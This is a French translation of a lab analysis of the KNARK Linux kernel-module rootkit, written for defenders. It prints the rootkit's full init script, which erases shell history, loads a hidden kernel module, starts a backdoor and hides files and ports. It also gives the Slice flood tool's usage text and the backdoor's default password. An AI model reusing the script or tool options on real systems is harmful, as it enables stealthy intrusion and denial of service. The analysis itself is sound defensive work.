Plus sérieusement : 
Un rootkit est une collection de fichiers/programmes employé par l’attaquant(s) pour resaisir un reseau/ordinateur sans être detecte. Normalement un rootkit viendra avec divers exploits pour aider l’attaquant a penetrer un systeme. Récemment, plusieurs exploits ont été associées avec des vulnérabilités communes trouvées dans BIND, Linux line printer et le programme de ftp de Washington University.
En plus des exploits, beaucoup de rootkits également viennent avec et installent des sniffers. Ceci est fait parce que les attaquants veulent capturer des mots de passe des utilisateurs entrant sur ce réseau ; un renifleur peut faire ca et c’est dur à detecter. Un rootkit peut également changer les binaires communs de sorte qu’un administrateur occupé ne les détecte pas.
Des binaires communs sont des binaires qui peuvent être employés pour surveiller les systèmes : /bin/ps, /bin/ls, /bin/netstat, /usr/bin/lsof, /usr/bin/top (ce n’est pas une liste complete) ; Maintenant que nous avons couvert des bases des rootkits, jetons un regard au rootkit en question.
Le rootkit KNARK
Récemment il a y eu beaucoup de discussion du rootkit KNARK sur la liste des incidents et beaucoup de bonnes références (énumérées à la fin du papier) ont ete citees. J’espère que cet article vous fournira une information certaine et utile. Le rootkit KNARK a m’été envoyé par un ami (un certain huh d’ami ?!) pour regarder et analyse. Le tableau 1 énumère les fichiers qui viennent avec KNARK :
Table 1 : Liste des fichiers venant avec KNARK
apache.c
Apache.cgi
backup
Bj.c
caine
Clearmail
dmesg
Dmsg
ered
Exec
fix
Fixtext
ftpt
Gib
gib.c
Hds0
hidef
Inc.h
init
Lesa
login
Lpdx
lpdx.c
Make-ssh-host-key
make-ssh-known-hosts
Module
nethide
Pgr
removeme
Rexec
rkhelh
Rootme
sl2
Sl2.c
snap
Ssh_config
sshd_config
Ssht
statdx2
Sysmod.o
sz
T666
unhidef
Wugod
Apres avoir jeter un coup d’oeil a certains des fichiers, j’ai decide d’installer le rootkit. Knark vient avec un fichier nomme exec (voir table 1) et quand ce fichier est execute, plusieurs choses se passent :
- Creation des repertoires : /dev/.pizda and /dev/.pula (pas capable de le voir avec ls. Utiliser cd /dev/.pizda).
- Insertion de sysmod.o.
- KNARK change aussi les fichiers S99local dans rcX.d. Cela provoque la machine un echec au redemarrage.
La premiere chose que j’ai fait apres l’installation est d’utiliser NMAP : nmap –sS –p 1-65535 192.168.0.20 et d’attendre.
Interesting ports on sec-linux.lab.sec (192.168.0.20):
(The 65523 ports scanned but not shown below are in state: closed)
Port State Service
21/tcp open ftp
79/tcp open finger
111/tcp open sunrpc
113/tcp open auth
512/tcp open exec
513/tcp open login
514/tcp open shell
515/tcp open printer
3001/tcp open nessusd
18667/tcp open unknown
31221/tcp open unknown
Nmap run completed -- 1 IP address (1 host up) scanned in 33 seconds
Figure 1. Resultats NMAP
La figure 1 montre beaucoup de choses (bonne chose, cette machine est dans un lab et pas dans la nature : ). D’abord, nous voyons qu’il y a deux ports inconnus (18667 et 31221). Ensuite, nous voyons que cette machine est chanceuse de ne pas avoir ete "rooter" une douzaine de fois.
La prochaine etape est de lancer netstat. Pourquoi ? Bien, nous voulons voir si netstat va montrer les memes ports que NMAP. Si ce n’est pas le cas, nous verfierons le binaire netstat.
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:79 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:512 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:513 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:514 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:3001 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:515 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:113 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN
udp 0 0 0.0.0.0:518 0.0.0.0:*
udp 0 0 0.0.0.0:517 0.0.0.0:*
udp 0 0 0.0.0.0:512 0.0.0.0:*
udp 0 0 0.0.0.0:111 0.0.0.0:*
raw 0 0 0.0.0.0:1 0.0.0.0:*
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State I-Node Path
unix 0 [ ACC ] STREAM LISTENING 468 /dev/printer
unix 6 [ ] DGRAM 371 /dev/log
unix 0 [ ACC ] STREAM LISTENING 503 /dev/gpmctl
unix 0 [ ACC ] STREAM LISTENING 2126 /tmp/.font-unix/fs-1
unix 0 [ ] STREAM CONNECTED 173 @00000015
unix 0 [ ] DGRAM 2711
unix 0 [ ] DGRAM 2161
unix 0 [ ] DGRAM 2130
unix 0 [ ] DGRAM 462
unix 0 [ ] DGRAM 394
unix 0 [ ] DGRAM 383
Figure 2 : Resultats Netstat
La figure 2 est le resultat de netstat –a –n. Deux ports ne sont identifies, donc verifions le binaire netstat. La verification necessite trois etapes :
- Lancer strings. Cela va nous permettre de voir si un repertoire cache est stocke dans le binaire. Verifié et il n’y avait pas de repertoire cache.
- Md5sum. Cette etape est logique. La comparaison entre le md5sum de netstat a celui se trouvant sur le CD montre qu’ils sont identiques.
- Lancer diff. Oui. . . c’est repetitif mais nous avons rien a perdre. Malheureusement, le resultat est le meme. Tout est OK.
- Dans le passé si une machine avait un rootkit installé, un administrateur pourrait rechercher les binaires et trouver des traces du rootkit. Pas facile aussi dans ce cas-ci. Le rootkit KNARK se cache réellement dans le noyau rendant ce rootkit presque impossible a trouver et analyser. Comment est-ce que ceci est allé ? Bien, les attaquants peuvent faire ceci en utilisant les modules du noyau chargeables (Loadable Kernel Modules LKM). Pour quiconque qui a été dans le monde de Linux vous savez que LKM sont des morceaux de code qui peuvent être chargés dans le système d’exploitation sur demande. En fait on l’encourage que vous employez LKM afin de mettre à jour votre matériel pour votre OS, insérant des modules dans Linux n’est pas difficile, en fait insmod fait le travail.
KNARK vient avec quelques bons exploits.
1) Lpdx – C’est utiliser pour exploit la faille sur le service LPR de redhat. Voila ce qu’un IDS pourrait voir :
09:06:19.991789 > 192.168.1.13.2894 > 192.168.0.40.printer: S 4221747912:4221747912(0) win 32120 <mss 1460,sackOK,timestamp 4058996 0,nop,wscale 0> (DF) (ttl 64, id 11263)
09:06:19.993434 < 192.168.1.13.printer > 192.168.0.40.2894: S 397480959:397480959(0) ack 4221747913 win 32120 <mss 1460,sackOK,timestamp 393475 4058996,nop,wscale 0> (DF) (ttl 64, id 3278)
09:06:19.993514 > 192.168.1.13.2894 > 192.168.0.40.printer: . 1:1(0) ack 1 win 32120 <nop,nop,timestamp 4058996 393475> (DF) (ttl 64, id 11264) Figure 3 : Signature Lpr
2) T666 – C’est utiliser pour exploiter BIND 8.2.1. Cet exploit est utilise contre Linux et FreeBSD. Une signature habituelle pour cet outil est un repertoire appele /var/named/ADMROCKS.
3) Wugod – C’est un exploit contre Washington University’s ftpd 2.6.0(1) pour FREEBSD, Linux (RH 6.2 et SuSe 6.3&6.4).
Slice v2.1+, credits : sinkhole, sacred. Rewritten and 1+ by some lamerz :P
Usage: ./sl2 <target> <clones> [-f] [-c] [-d seconds] [-p packets] [-s packetsize] [-maxs packetsize] [-a srcaddr] [-l lowport] [-h highport] [-incports] [-sleep ms] [-syn[ack]]
Target - the target we are trying to attack.
Clones - number of packets to send at once (use -f for more than 6).
-f - force usage of more than 6 clones.
-c - class C flooding.
-d seconds - time to flood in seconds (default 600, use 0 for no timeout).
-p packets - packets to send for each clone (if used with -d is ignored).
-s size - packet size (default 40, use 0 for random packets).
-maxs size - maximum size for random packets.
-a srcaddr - the spoofed source address (random if not specified).
-l lowport - start port (1024 if not specified).
-h highport - end port (65535 if not specified).
-incports - choose ports incremental (random if not specified).
-sleep ms - delay between packets in miliseconds (0=no delay by default).
-syn - use SYN instead ACK.
-synack - use SYN|ACK.
Figure 4 : Slice (sl2) help output
Comme vous pouvez le voir, cet outil permet a un attaquant de rendre aleatoire ses paquets. Ca le rendra plus difficile a detecter.
09:05:26.655701 > 192.168.1.13 > 192.168.0.40: (frag 33252:20@256) [tos 0xe8] (ttl 255)
09:05:26.656186 > 192.168.1.13 > 192.168.0.40: (frag 33252:20@256) [tos 0xe8] (ttl 255)
09:05:26.656671 > 192.168.1.13 > 192.168.0.40: (frag 33252:20@256) [tos 0xe8] (ttl 255)
09:05:26.657156 > 192.168.1.13 > 192.168.0.40: (frag 33252:20@256) [tos 0xe8] (ttl 255)
09:05:26.657642 > 192.168.1.13 > 192.168.0.40: (frag 33252:20@256) [tos 0xe8] (ttl 255)
Figure 5 : Resultats de Slice
Regarder la commande d’aide ne nous aidera pas en détectant ce programme, ainsi j’ai décidé d’exécuter le DOS. Le schéma 5 nous montre a quoi slice ressemble le moment où il est utilise. Garder a l’esprit que ces signatures peuvent changer (ceci dépend de l’attaquant et la façon dont le rootkit est installe).
KNARK vient avec beaucoup d’autres outils que nous n’avons pas discuté encore. Le premier outil que nous couvrirons est gib.c. Cet outil écoute sur le port 18667 (un des deux ports que nous avons découverts en utilisant NMAP) et vient avec par défaut un mot de passe de Error. Ce programme est juste votre backdoor typique. Ensuite, nous avons un fichier appelé init. C’est une shell script MAIS, il explique pourquoi il est difficile de détecter ce rootkit.
unset HISTFILE
export HISTFILE=/dev/null
unset _
/sbin/insmod -f /lib/modules/sysmod.o 1>/dev/null 2>/dev/null
if [ -a /usr/bin/gib ]
then
/usr/bin/gib & 1>/dev/null 2>/dev/null
else
echo "aaa" >>/dev/null
fi
/dev/.pizda/jesuscd -f /dev/.pizda/sshd_config -h /dev/.pizda/ssh_host_key -q 1>/dev/null 2>/dev/null
cd "/dev/.pula" 1>/dev/null 2>/dev/null
./caine >> bashina & 1>/dev/null 2>/dev/null
cd /root
killall -31 gib 1>/dev/null 2>/dev/null
killall -31 jesuscd 1>/dev/null 2>/dev/null
killall -31 caine 1>/dev/null 2>/dev/null
/dev/.pizda/hidef /dev/.pizda 1>/dev/null 2>/dev/null
/dev/.pizda/hidef /dev/.pula 1>/dev/null 2>/dev/null
/dev/.pizda/nethide ":79F5" 1>/dev/null 2>/dev/null
/dev/.pizda/nethide ":48EB" 1>/dev/null 2>/dev/null
/dev/.pizda/nethide ":2FB5" 1>/dev/null 2>/dev/null
/dev/.pizda/nethide ":1A01" 1>/dev/null 2>/dev/null
/dev/.pizda/nethide ":1A02" 1>/dev/null 2>/dev/null
/dev/.pizda/nethide ":1A03" 1>/dev/null 2>/dev/null
/dev/.pizda/nethide ":1A04" 1>/dev/null 2>/dev/null
/dev/.pizda/nethide ":1A05" 1>/dev/null 2>/dev/null
/dev/.pizda/nethide ":1A06" 1>/dev/null 2>/dev/null
/dev/.pizda/nethide ":1A07" 1>/dev/null 2>/dev/null
/dev/.pizda/nethide ":1A08" 1>/dev/null 2>/dev/null
/dev/.pizda/nethide ":1A09" 1>/dev/null 2>/dev/null
/dev/.pizda/nethide ":1A0A" 1>/dev/null 2>/dev/null
/dev/.pizda/nethide ":1A0B" 1>/dev/null 2>/dev/null
/dev/.pizda/nethide ":1A0C" 1>/dev/null 2>/dev/null
/dev/.pizda/nethide ":1A0D" 1>/dev/null 2>/dev/null
/dev/.pizda/nethide ":1A0E" 1>/dev/null 2>/dev/null
/dev/.pizda/nethide ":1A0F" 1>/dev/null 2>/dev/null
/dev/.pizda/nethide ":029A" 1>/dev/null 2>/dev/null
/dev/.pizda/hidef /usr/bin/gib 1>/dev/null 2>/dev/null
/dev/.pizda/hidef /bin/rtty 1>/dev/null 2>/dev/null
/dev/.pizda/hidef /tmp/pgr 1>/dev/null 2>/dev/null
/dev/.pizda/hidef /var/lock/pgr 1>/dev/null 2>/dev/null
/dev/.pizda/hidef /usr/man/man3/pgr 1>/dev/null 2>/dev/null
/dev/.pizda/hidef /lib/modules/sysmod.o 1>/dev/null 2>/dev/null
/dev/.pizda/hidef /sbin/rootme 1>/dev/null 2>/dev/null
if [ -a /var/spool/uucp/zdn ]
then
/dev/.pizda/hidef /var/spool/uucp/zdn 1>/dev/null 2>/dev/null
Figure 6 : fichier init
Figure 6 explique tout. Je voudrais souligner quelques lignes importantes dans le script. 1) Vous pouvez voir que l’attaquant reste cacher. 2) Il utilise killall –31 pour cacher gib, jessuscd et caine. Afin de les rendre visible vous pouvez entrer killall –32(Il y a un lien a la fin de l’article qui explique ca en detail.). 3) Vous pouvez voir plusieurs references a /dev/.pizda/nethide. Un exemple est :
/dev/.pizda/nethide ":79F5" 1>/dev/null 2>/dev/null.
Bien, pour ceux qui n’ont le temps de faire les conversions hexa :
48EB = 18667 1A05 = 6661
79F5 = 31221 1A06 = 6662
029A = 12213 1A07 = 6663
1A01 = 6657 1A08 = 6664
1A02 = 6658 1A09 = 6665
1A03 = 6659 1A0A = 6666
1A04 = 6660 1A0B = 6667
1A0C = 6668 1A0D = 6669
1A0E = 6670 1A0F = 6671Recommendations
Pour etre honnete, je n’ai pas beaucoup de temps pour de solides solutions liees aux rootkits LKM. Voila ce que je peux dire. La premiere chose est d’utiliser LIDS. Je ne l’ai pas teste, mais j’ai prevu de le faire bientot. Ensuite, si vous avez un rootkit LKM et que vous ne trouvez rien (binaires changes etc..) essayer de mettre a jour votre version. La MAJ ne supprimera pas le rootkit mais vous permettra peut etre de le voir. Conclusion
Ce type de rootkit va a l’encontre de tout ce que les administrateurs en securite ont enseigne. Dans le passe, les rootkits se cachaient avec des binaires modifies. Les admin utilisaient de bons binaires pour les detecter et puis fini ! Avec cette bete, ce n’est pas aussi simple.
Lectures recommendees
Concepts de developpement d’un tel rootkit
http://packetstorm.securify.com/gro...
Plus sur la programmation LKM
http://howto.tucows.com/LDP/LDP/lkmpg
Phrack
http://www.2600.com/phrack/p52-06.html
http://www.2600.com/phrack/p52-06.html
Post Scriptum :Par Toby Miller Traduit par Nightbird (nightbirdfr.com) Article original
Documentation publiés dans cette rubrique
